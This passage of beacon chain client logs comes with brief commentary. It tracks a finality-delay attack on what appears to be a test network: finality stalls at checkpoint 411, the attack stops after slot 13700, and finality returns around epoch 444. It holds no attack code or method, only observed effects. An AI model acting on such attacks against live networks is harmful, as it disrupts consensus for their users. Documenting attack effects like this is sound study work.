15:52:24.309 INFO  - Slot Event  *** Slot: 13337, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:52:36.309 INFO  - Slot Event  *** Slot: 13338, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:52:48.314 INFO  - Slot Event  *** Slot: 13339, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:53:00.311 INFO  - Slot Event  *** Slot: 13340, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:53:12.311 INFO  - Slot Event  *** Slot: 13341, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:53:24.308 INFO  - Slot Event  *** Slot: 13342, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:53:36.314 INFO  - Slot Event  *** Slot: 13343, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:53:44.308 INFO  - Epoch Event *** Epoch: 417, Justified checkpoint: 412, Finalized checkpoint: 411, Finalized root: 404586..3714
15:53:48.311 INFO  - Slot Event  *** Slot: 13344, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:54:00.308 INFO  - Slot Event  *** Slot: 13345, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:54:12.308 INFO  - Slot Event  *** Slot: 13346, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:54:24.311 INFO  - Slot Event  *** Slot: 13347, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:54:36.313 INFO  - Slot Event  *** Slot: 13348, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:54:48.314 INFO  - Slot Event  *** Slot: 13349, Block: 6a2005..22be, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:55:00.311 INFO  - Slot Event  *** Slot: 13350, Block: 98a769..4bfc, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:55:12.312 INFO  - Slot Event  *** Slot: 13351, Block: dfa1b4..dd6c, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:55:24.311 INFO  - Slot Event  *** Slot: 13352, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:55:36.315 INFO  - Slot Event  *** Slot: 13353, Block: 618dee..bf04, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:55:48.311 INFO  - Slot Event  *** Slot: 13354, Block: 75678c..237a, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:56:00.314 INFO  - Slot Event  *** Slot: 13355, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:56:12.310 INFO  - Slot Event  *** Slot: 13356, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:56:24.310 INFO  - Slot Event  *** Slot: 13357, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:56:36.311 INFO  - Slot Event  *** Slot: 13358, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:56:48.311 INFO  - Slot Event  *** Slot: 13359, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:57:00.315 INFO  - Slot Event  *** Slot: 13360, Block: 1df8f5..f138, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:57:12.316 INFO  - Slot Event  *** Slot: 13361, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:57:24.313 INFO  - Slot Event  *** Slot: 13362, Block: d713d7..0f5a, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:57:36.309 INFO  - Slot Event  *** Slot: 13363, Block: 423164..84cd, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:57:48.310 INFO  - Slot Event  *** Slot: 13364, Block: 78902f..2e2d, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:58:00.309 INFO  - Slot Event  *** Slot: 13365, Block: 78ebb0..0697, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:58:12.310 INFO  - Slot Event  *** Slot: 13366, Block: 96927a..5c04, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:58:24.313 INFO  - Slot Event  *** Slot: 13367, Block: 6153ec..a746, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:58:36.313 INFO  - Slot Event  *** Slot: 13368, Block: 350f5d..2ca2, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:58:48.310 INFO  - Slot Event  *** Slot: 13369, Block: 022339..4c8a, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:59:00.314 INFO  - Slot Event  *** Slot: 13370, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:59:12.311 INFO  - Slot Event  *** Slot: 13371, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:59:24.311 INFO  - Slot Event  *** Slot: 13372, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:59:36.314 INFO  - Slot Event  *** Slot: 13373, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:59:48.314 INFO  - Slot Event  *** Slot: 13374, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:00:00.312 INFO  - Slot Event  *** Slot: 13375, Block: 2afee2..ad75, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2

Epoch 420

The network manages to justify epoch 417 (up from 412), but finality is still prevented.

16:12:56.312 INFO  - Epoch Event *** Epoch: 420, Justified checkpoint: 417, Finalized checkpoint: 411, Finalized root: 404586..3714
16:13:00.314 INFO  - Slot Event  *** Slot: 13440, Block: b2f665..fb2c, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:13:12.313 INFO  - Slot Event  *** Slot: 13441, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:13:24.310 INFO  - Slot Event  *** Slot: 13442, Block: d47239..99f3, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:13:36.310 INFO  - Slot Event  *** Slot: 13443, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:13:48.315 INFO  - Slot Event  *** Slot: 13444, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:14:00.310 INFO  - Slot Event  *** Slot: 13445, Block: b274e6..7bf0, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:14:12.310 INFO  - Slot Event  *** Slot: 13446, Block: 5b92e9..b20e, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:14:24.311 INFO  - Slot Event  *** Slot: 13447, Block: 72c4f8..e9e6, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:14:36.310 INFO  - Slot Event  *** Slot: 13448, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:14:48.314 INFO  - Slot Event  *** Slot: 13449, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:15:00.309 INFO  - Slot Event  *** Slot: 13450, Block: 5c37d1..36c7, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:15:12.310 INFO  - Slot Event  *** Slot: 13451, Block: 5d9ff8..eaa3, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:15:24.309 INFO  - Slot Event  *** Slot: 13452, Block: a5430f..862e, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:15:36.309 INFO  - Slot Event  *** Slot: 13453, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:15:48.310 INFO  - Slot Event  *** Slot: 13454, Block: e13879..fd6e, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:16:00.309 INFO  - Slot Event  *** Slot: 13455, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:16:12.310 INFO  - Slot Event  *** Slot: 13456, Block: 9b1dd9..347f, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
16:16:24.310 INFO  - Slot Event  *** Slot: 13457, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
16:16:36.310 INFO  - Slot Event  *** Slot: 13458, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
16:16:48.309 INFO  - Slot Event  *** Slot: 13459, Block: 0a56d5..349d, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:17:00.314 INFO  - Slot Event  *** Slot: 13460, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:17:12.310 INFO  - Slot Event  *** Slot: 13461, Block: d0a2ac..6b65, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:17:24.309 INFO  - Slot Event  *** Slot: 13462, Block: cf45b0..a373, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:17:36.312 INFO  - Slot Event  *** Slot: 13463, Block: 504865..d930, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:17:48.313 INFO  - Slot Event  *** Slot: 13464, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:18:00.315 INFO  - Slot Event  *** Slot: 13465, Block: 02ac2a..339f, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:18:12.310 INFO  - Slot Event  *** Slot: 13466, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:18:24.314 INFO  - Slot Event  *** Slot: 13467, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:18:36.311 INFO  - Slot Event  *** Slot: 13468, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:18:48.313 INFO  - Slot Event  *** Slot: 13469, Block: f2db72..11ba, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:19:00.310 INFO  - Slot Event  *** Slot: 13470, Block: c82f1d..a399, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:19:12.312 INFO  - Slot Event  *** Slot: 13471, Block: 7a5b91..30e7, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2

Epoch 428 Slot: 13700

Finality is prevented for the required 16 epochs and the attack officially stops after slot 13700.

17:04:08.308 INFO  - Epoch Event *** Epoch: 428, Justified checkpoint: 417, Finalized checkpoint: 411, Finalized root: 404586..3714
17:04:12.309 INFO  - Slot Event  *** Slot: 13696, Block: 65a121..79cd, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:04:24.313 INFO  - Slot Event  *** Slot: 13697, Block: 63fa92..2e54, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:04:36.311 INFO  - Slot Event  *** Slot: 13698, Block: 70393b..f03b, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:04:48.313 INFO  - Slot Event  *** Slot: 13699, Block: 727f7f..40d7, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:05:00.311 INFO  - Slot Event  *** Slot: 13700, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:05:12.314 INFO  - Slot Event  *** Slot: 13701, Block: b09240..7532, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:05:24.309 INFO  - Slot Event  *** Slot: 13702, Block: d54634..6187, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:05:36.315 INFO  - Slot Event  *** Slot: 13703, Block: a9c876..1fa1, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:05:48.314 INFO  - Slot Event  *** Slot: 13704, Block: 7981f0..a695, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:06:00.312 INFO  - Slot Event  *** Slot: 13705, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:06:12.309 INFO  - Slot Event  *** Slot: 13706, Block: c8d20e..ce42, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:06:24.314 INFO  - Slot Event  *** Slot: 13707, Block: 5cfb42..57d7, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:06:36.308 INFO  - Slot Event  *** Slot: 13708, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:06:48.308 INFO  - Slot Event  *** Slot: 13709, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:07:00.311 INFO  - Slot Event  *** Slot: 13710, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:07:12.309 INFO  - Slot Event  *** Slot: 13711, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:07:24.309 INFO  - Slot Event  *** Slot: 13712, Block: 515149..5cf0, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:07:36.309 INFO  - Slot Event  *** Slot: 13713, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:07:48.314 INFO  - Slot Event  *** Slot: 13714, Block: 98616c..f07c, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:08:00.311 INFO  - Slot Event  *** Slot: 13715, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:08:12.310 INFO  - Slot Event  *** Slot: 13716, Block: 3fd8bb..bb04, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:08:24.310 INFO  - Slot Event  *** Slot: 13717, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:08:36.309 INFO  - Slot Event  *** Slot: 13718, Block: 0de3fe..dbc5, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:08:48.309 INFO  - Slot Event  *** Slot: 13719, Block: ed262b..c842, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:09:00.311 INFO  - Slot Event  *** Slot: 13720, Block: 1d6bac..aa88, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:09:12.308 INFO  - Slot Event  *** Slot: 13721, Block: 62e04f..6061, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:09:24.310 INFO  - Slot Event  *** Slot: 13722, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:09:36.310 INFO  - Slot Event  *** Slot: 13723, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:09:48.308 INFO  - Slot Event  *** Slot: 13724, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:10:00.310 INFO  - Slot Event  *** Slot: 13725, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:10:12.311 INFO  - Slot Event  *** Slot: 13726, Block: 5cee76..3225, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:10:24.309 INFO  - Slot Event  *** Slot: 13727, Block: 7f3118..73e6, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2

Epoch 433

The network hasn't been attacked for several epochs and manages to recover enough to justify epoch 430.

17:36:08.310 INFO  - Epoch Event *** Epoch: 433, Justified checkpoint: 430, Finalized checkpoint: 411, Finalized root: 404586..3714
17:36:12.310 INFO  - Slot Event  *** Slot: 13856, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:36:24.314 INFO  - Slot Event  *** Slot: 13857, Block: 4cfe9d..f51c, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:36:36.313 INFO  - Slot Event  *** Slot: 13858, Block: f21775..3fa0, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:36:48.312 INFO  - Slot Event  *** Slot: 13859, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:37:00.308 INFO  - Slot Event  *** Slot: 13860, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:37:12.310 INFO  - Slot Event  *** Slot: 13861, Block: 4f5e1d..093d, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:37:24.313 INFO  - Slot Event  *** Slot: 13862, Block: 02d450..25b4, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:37:36.308 INFO  - Slot Event  *** Slot: 13863, Block: 77cf74..9ae8, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:37:48.310 INFO  - Slot Event  *** Slot: 13864, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:38:00.309 INFO  - Slot Event  *** Slot: 13865, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:38:12.312 INFO  - Slot Event  *** Slot: 13866, Block: 1076f6..740b, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:38:24.313 INFO  - Slot Event  *** Slot: 13867, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:38:36.310 INFO  - Slot Event  *** Slot: 13868, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:38:48.311 INFO  - Slot Event  *** Slot: 13869, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:39:00.311 INFO  - Slot Event  *** Slot: 13870, Block: 239506..63a6, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:39:12.314 INFO  - Slot Event  *** Slot: 13871, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:39:24.313 INFO  - Slot Event  *** Slot: 13872, Block: eed4fc..f0c0, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:39:36.313 INFO  - Slot Event  *** Slot: 13873, Block: dfa6f6..f608, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:39:48.313 INFO  - Slot Event  *** Slot: 13874, Block: aa6385..90c4, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:40:00.310 INFO  - Slot Event  *** Slot: 13875, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:40:12.308 INFO  - Slot Event  *** Slot: 13876, Block: dbf453..f4f5, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:40:24.309 INFO  - Slot Event  *** Slot: 13877, Block: 433a6a..2f50, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:40:36.312 INFO  - Slot Event  *** Slot: 13878, Block: 511649..1a5a, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:40:48.309 INFO  - Slot Event  *** Slot: 13879, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:41:00.310 INFO  - Slot Event  *** Slot: 13880, Block: 6f34f9..b3c5, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:41:12.313 INFO  - Slot Event  *** Slot: 13881, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:41:24.309 INFO  - Slot Event  *** Slot: 13882, Block: 5c404e..1049, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:41:36.310 INFO  - Slot Event  *** Slot: 13883, Block: 43b066..accb, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:41:48.309 INFO  - Slot Event  *** Slot: 13884, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:42:00.309 INFO  - Slot Event  *** Slot: 13885, Block: 0cd380..8277, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:42:12.309 INFO  - Slot Event  *** Slot: 13886, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:42:24.311 INFO  - Slot Event  *** Slot: 13887, Block: 3923c6..f205, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3

Epoch 444 - 445

The network finaly recovers and finality is restored.

18:46:32.307 INFO  - Epoch Event *** Epoch: 444, Justified checkpoint: 442, Finalized checkpoint: 441, Finalized root: 2315db..90d8
18:46:36.310 INFO  - Slot Event  *** Slot: 14208, Block: cdfadd..b1b7, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:46:48.311 INFO  - Slot Event  *** Slot: 14209, Block: 571999..5116, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:47:00.309 INFO  - Slot Event  *** Slot: 14210, Block: 7bab12..ac3e, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:47:12.313 INFO  - Slot Event  *** Slot: 14211, Block: 13ac03..9dd0, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:47:24.308 INFO  - Slot Event  *** Slot: 14212, Block: 9290bd..f4cf, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:47:36.309 INFO  - Slot Event  *** Slot: 14213, Block: e48646..6f84, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:47:48.309 INFO  - Slot Event  *** Slot: 14214, Block: c5a68e..d6e0, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:48:00.311 INFO  - Slot Event  *** Slot: 14215, Block: c631a6..b2a6, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:48:12.310 INFO  - Slot Event  *** Slot: 14216, Block: 7de143..cf16, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:48:24.311 INFO  - Slot Event  *** Slot: 14217, Block: 4d8fd5..c4c1, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:48:36.311 INFO  - Slot Event  *** Slot: 14218, Block: f0f917..b591, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:48:48.308 INFO  - Slot Event  *** Slot: 14219, Block: 89cc4f..8195, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:49:00.308 INFO  - Slot Event  *** Slot: 14220, Block: 93e14e..fb0b, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:49:12.308 INFO  - Slot Event  *** Slot: 14221, Block: 4c054f..1c85, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:49:24.309 INFO  - Slot Event  *** Slot: 14222, Block: c7b69c..7822, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:49:36.309 INFO  - Slot Event  *** Slot: 14223, Block: 6810b7..fc68, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:49:48.310 INFO  - Slot Event  *** Slot: 14224, Block: 47f560..6fe1, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:50:00.308 INFO  - Slot Event  *** Slot: 14225, Block: 645504..3631, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:50:12.308 INFO  - Slot Event  *** Slot: 14226, Block: c64390..6053, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:50:24.313 INFO  - Slot Event  *** Slot: 14227, Block: e737e2..c7e3, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:50:36.310 INFO  - Slot Event  *** Slot: 14228, Block: 0a6945..fe1b, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:50:48.310 INFO  - Slot Event  *** Slot: 14229, Block: 92a769..cbaf, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:51:00.311 INFO  - Slot Event  *** Slot: 14230, Block: 3b0cb0..d0f4, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:51:12.309 INFO  - Slot Event  *** Slot: 14231, Block: 1d2731..c5c6, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:51:24.311 INFO  - Slot Event  *** Slot: 14232, Block: 33bfc4..5576, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:51:36.310 INFO  - Slot Event  *** Slot: 14233, Block: bcc374..0a5c, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:51:48.313 INFO  - Slot Event  *** Slot: 14234, Block: 4fb2fb..8f1d, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:52:00.312 INFO  - Slot Event  *** Slot: 14235, Block: 40bf54..3067, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:52:12.309 INFO  - Slot Event  *** Slot: 14236, Block: 429793..e074, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:52:24.310 INFO  - Slot Event  *** Slot: 14237, Block: d1f2ff..a55f, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:52:36.314 INFO  - Slot Event  *** Slot: 14238, Block: 898656..2053, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:52:48.314 INFO  - Slot Event  *** Slot: 14239, Block: 806726..6049, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:52:56.307 INFO  - Epoch Event *** Epoch: 445, Justified checkpoint: 443, Finalized checkpoint: 442, Finalized root: 66e27a..393b
18:53:00.313 INFO  - Slot Event  *** Slot: 14240, Block: 5d5633..3a21, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:53:12.310 INFO  - Slot Event  *** Slot: 14241, Block: 74a127..a962, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:53:24.309 INFO  - Slot Event  *** Slot: 14242, Block: 6a3917..e650, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:53:36.314 INFO  - Slot Event  *** Slot: 14243, Block: 11af11..099e, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:53:48.314 INFO  - Slot Event  *** Slot: 14244, Block: f225a0..38f7, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:54:00.314 INFO  - Slot Event  *** Slot: 14245, Block: b00db4..09a0, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:54:12.311 INFO  - Slot Event  *** Slot: 14246, Block: a285c6..fec7, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:54:24.313 INFO  - Slot Event  *** Slot: 14247, Block: 16a202..f63b, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:54:36.314 INFO  - Slot Event  *** Slot: 14248, Block: 4b8461..805e, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
